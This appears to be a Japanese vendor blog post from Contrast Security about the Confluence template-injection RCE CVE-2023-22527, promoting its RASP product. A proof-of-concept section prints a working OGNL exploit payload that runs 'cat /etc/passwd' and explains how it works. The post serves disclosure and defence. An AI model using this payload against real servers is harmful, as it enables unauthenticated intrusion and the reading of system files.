Skip to content

ContrastのランタイムセキュリティがConfluenceの重大なゼロデイ脆弱性をブロック

    
ContrastのランタイムセキュリティがConfluenceの重大なゼロデイ脆弱性をブロック

古いバージョンの「Atlassian Confluence Server 」を使用していて、最近発見された重大なリモートコード実行(RCE)のゼロデイである CVE-2023-22527の影響を受ける場合は、次のいずれかであるはずだ:

  1. 既にパッチを当てた
  2. Contrast Protect(RASP)を実行していたので心配の必要なし
  3. 攻撃されている

Atlassianでは、セキュリティアドバイザリを1月16日公開した。この脆弱性は、Confluence Data CenterおよびServerの古いバージョンにテンプレートインジェクションの脆弱性があり、認証されていない攻撃者が、影響を受ける対象バージョンでリモートコードを実行(RCE)できる可能性がある。Atlassianは、影響を受ける対象バージョンを使用しているユーザに早急な対応を求めた。

共通脆弱性識別子(CVE)は、CVSS評価が10点中の10点で最も深刻度の高いスコアとなった。2023年12月5日以前にリリースされたConfluence Data CenterおよびServer 8のバージョンで、Confluenceバージョン8.0.0から8.5.3に影響する。

600件以上のIPアドレスから数千の攻撃を仕掛けられた

実証コード(PoC)1月21日に公開され、その後すぐにCVE-2023-22527を悪用する試みが数千件行われた。1月22日には、インターネット上の脅威を監視しているShadowserver財団は、同財団のサーバが600以上の個別のIPアドレスから発信された攻撃を観測していると報告した。

実証コード(PoC)

上記は攻撃の一例だ。以下のエンドポイントを利用する。

/template/aui/text-inline.vm

そして、以下のOGNL(Object-Graph Navigation Language)式を利用した攻撃を注入する。

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"cat /etc/passwd"}))

これにより、クラス freemarker.template.utility.Executeがインスタンス化され、exec()メソッドが呼び出される。そして、 java.lang.Runtime.exec() が呼び出され、配下にあるオペレーティング システム上でコマンドが実行される。 この例では、実行されるのは次のコマンドだ。

cat /etc/passwd

実行結果が「X-Cmd-Response」というHTTPレスポンスヘッダに格納される。これにより、コマンドの実行結果が攻撃者に返されることになる。

Contrastのランタイムセキュリティが攻撃をブロックする仕組み

ContrastのランタイムセキュリティのRASP(Contrast Protect)では既に、この脆弱性や類似の脆弱性を防いでいる。Contrast Protectの式言語(EL)ルールによって...

  • 攻撃者からのリクエストがアプリケーション内で追跡され、
  • ユーザ入力に基づいてクラスがインスタンス化されていることが検知される。そして、必要に応じて、
  • 危険な処理が実行される前に攻撃がブロックされる。

Contrast Protectを有効にしていると、攻撃は正常にブロックされる。

そして、リクエストには「200 OK」(リクエスト成功)が返されるが、余計なヘッダは作成されずに攻撃者に返される。

ContrastランタイムセキュリティでConfluenceを保護

Confluenceの深刻な脆弱性はこれが初めてではない。CVE-2022-26134CVE-2021-26084などの同様の攻撃がこれまでに発見されており、すぐに悪用されている。残念ながら、今後さらにこのような脆弱性が見つかる可能性がある。

実は、CVE-2023-22527が、Contrastの「発見前にブロックされたゼロデイの殿堂入り」を果たして、その数は12となった。

発見前にブロックされたゼロデイ

Contrastは組み込みの検出ルールによって脆弱性の悪用を検出して防止する

Contrastが発見前(CVEが発行される前)に防いだゼロデイの例:

 

Contrastは、常に新しいエクスプロイトやCVEを研究し、
リアルタイム防御のためのContrast Protectルールを向上/強化している(例えば、JDNIルールの改良や「クロスローダの改ざんルール」の追加など)。

Contrastのランタイムセキュリティプラットフォームは、ビジネスに害を与えようとするハッカーにアプリケーションが絶え間なく攻撃されるという事実に対応するために作られた。完全に脆弱性のないアプリケーションを作成することは事実上不可能であるものだと考えている。ランタイムセキュリティエージェントは、複数の技術を駆使した高精度なセンサーとランタイムの動的な制御を活用することで、既知の脅威とゼロデイ攻撃の両方を継続的に検知・防御する。これは、インストルメンテーションベースのアプローチを提供し、セキュリティの導入と拡張性を簡素化することができる。

Confluenceやその他の安全でない可能性のあるアプリケーションにランタイムセキュリティを使用することで、セキュリティ体制を改善できる。

ゼロデイに対する RASPソリューションである、Contrast Protectのデモについてはこちら

お問い合わせ

関連記事/資料:

Contrast Security Japan